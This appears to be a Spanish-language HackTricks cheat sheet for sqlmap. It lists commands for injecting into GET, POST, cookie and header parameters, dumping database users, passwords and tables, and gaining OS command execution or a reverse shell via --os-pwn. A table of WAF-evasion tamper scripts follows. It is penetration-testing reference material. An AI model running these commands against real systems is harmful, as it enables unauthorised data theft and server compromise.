SQLMap

Reading time: 8 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Argumentos básicos para SQLmap

Genérico

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Recuperar Información

Interno

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Datos de la base de datos

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Lugar de inyección

Desde la captura de Burp/ZAP

Captura la solicitud y crea un archivo req.txt

bash
sqlmap -r req.txt --current-user

Inyección de Solicitud GET

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Inyección de Solicitud POST

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Inyecciones en Encabezados y otros Métodos HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Inyección de segundo orden

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Rastrear un sitio web con SQLmap y auto-explotar

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personalizando la Inyección

Establecer un sufijo

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefijo

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ayuda para encontrar inyección booleana

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescripción
apostrophemask.pyReemplaza el carácter de apóstrofe con su contraparte de ancho completo UTF-8
apostrophenullencode.pyReemplaza el carácter de apóstrofe con su contraparte ilegal de doble unicode
appendnullbyte.pyAgrega un carácter de byte NULL codificado al final de la carga útil
base64encode.pyCodifica en Base64 todos los caracteres en una carga útil dada
between.pyReemplaza el operador mayor que ('>') con 'NOT BETWEEN 0 AND #'
bluecoat.pyReemplaza el carácter de espacio después de la declaración SQL con un carácter en blanco aleatorio válido. Luego reemplaza el carácter = con el operador LIKE
chardoubleencode.pyCodifica doblemente todos los caracteres en una carga útil dada (sin procesar los ya codificados)
commalesslimit.pyReemplaza instancias como 'LIMIT M, N' con 'LIMIT N OFFSET M'
commalessmid.pyReemplaza instancias como 'MID(A, B, C)' con 'MID(A FROM B FOR C)'
concat2concatws.pyReemplaza instancias como 'CONCAT(A, B)' con 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyCodifica en URL todos los caracteres en una carga útil dada (sin procesar los ya codificados)
charunicodeencode.pyCodifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "%u0022"
charunicodeescape.pyCodifica en URL unicode los caracteres no codificados en una carga útil dada (sin procesar los ya codificados). "\u0022"
equaltolike.pyReemplaza todas las ocurrencias del operador igual ('=') con el operador 'LIKE'
escapequotes.pyEscapa las comillas con barra invertida (' y ")
greatest.pyReemplaza el operador mayor que ('>') con su contraparte 'GREATEST'
halfversionedmorekeywords.pyAgrega un comentario de MySQL versionado antes de cada palabra clave
ifnull2ifisnull.pyReemplaza instancias como 'IFNULL(A, B)' con 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyEnvuelve la consulta completa con un comentario versionado
modsecurityzeroversioned.pyEnvuelve la consulta completa con un comentario de versión cero
multiplespaces.pyAgrega múltiples espacios alrededor de las palabras clave SQL
nonrecursivereplacement.pyReemplaza palabras clave SQL predefinidas con representaciones adecuadas para el reemplazo (e.g. .replace("SELECT", "")) filtros
percentage.pyAgrega un signo de porcentaje ('%') delante de cada carácter
overlongutf8.pyConvierte todos los caracteres en una carga útil dada (sin procesar los ya codificados)
randomcase.pyReemplaza cada carácter de palabra clave con un valor de caso aleatorio
randomcomments.pyAgrega comentarios aleatorios a las palabras clave SQL
securesphere.pyAgrega una cadena especialmente elaborada
sp_password.pyAgrega 'sp_password' al final de la carga útil para la ofuscación automática de los registros de DBMS
space2comment.pyReemplaza el carácter de espacio (' ') con comentarios
space2dash.pyReemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una cadena aleatoria y una nueva línea ('\n')
space2hash.pyReemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una cadena aleatoria y una nueva línea ('\n')
space2morehash.pyReemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una cadena aleatoria y una nueva línea ('\n')
space2mssqlblank.pyReemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mssqlhash.pyReemplaza el carácter de espacio (' ') con un carácter de libra ('#') seguido de una nueva línea ('\n')
space2mysqlblank.pyReemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mysqldash.pyReemplaza el carácter de espacio (' ') con un comentario de guion ('--') seguido de una nueva línea ('\n')
space2plus.pyReemplaza el carácter de espacio (' ') con un más ('+')
space2randomblank.pyReemplaza el carácter de espacio (' ') con un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
symboliclogical.pyReemplaza los operadores lógicos AND y OR con sus contrapartes simbólicas (&& y
unionalltounion.pyReemplaza UNION ALL SELECT con UNION SELECT
unmagicquotes.pyReemplaza el carácter de comillas (') con una combinación de múltiples bytes %bf%27 junto con un comentario genérico al final (para que funcione)
uppercase.pyReemplaza cada carácter de palabra clave con el valor en mayúsculas 'INSERT'
varnish.pyAgrega un encabezado HTTP 'X-originating-IP'
versionedkeywords.pyEnvuelve cada palabra clave no funcional con un comentario de MySQL versionado
versionedmorekeywords.pyEnvuelve cada palabra clave con un comentario de MySQL versionado
xforwardedfor.pyAgrega un encabezado HTTP falso 'X-Forwarded-For'

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks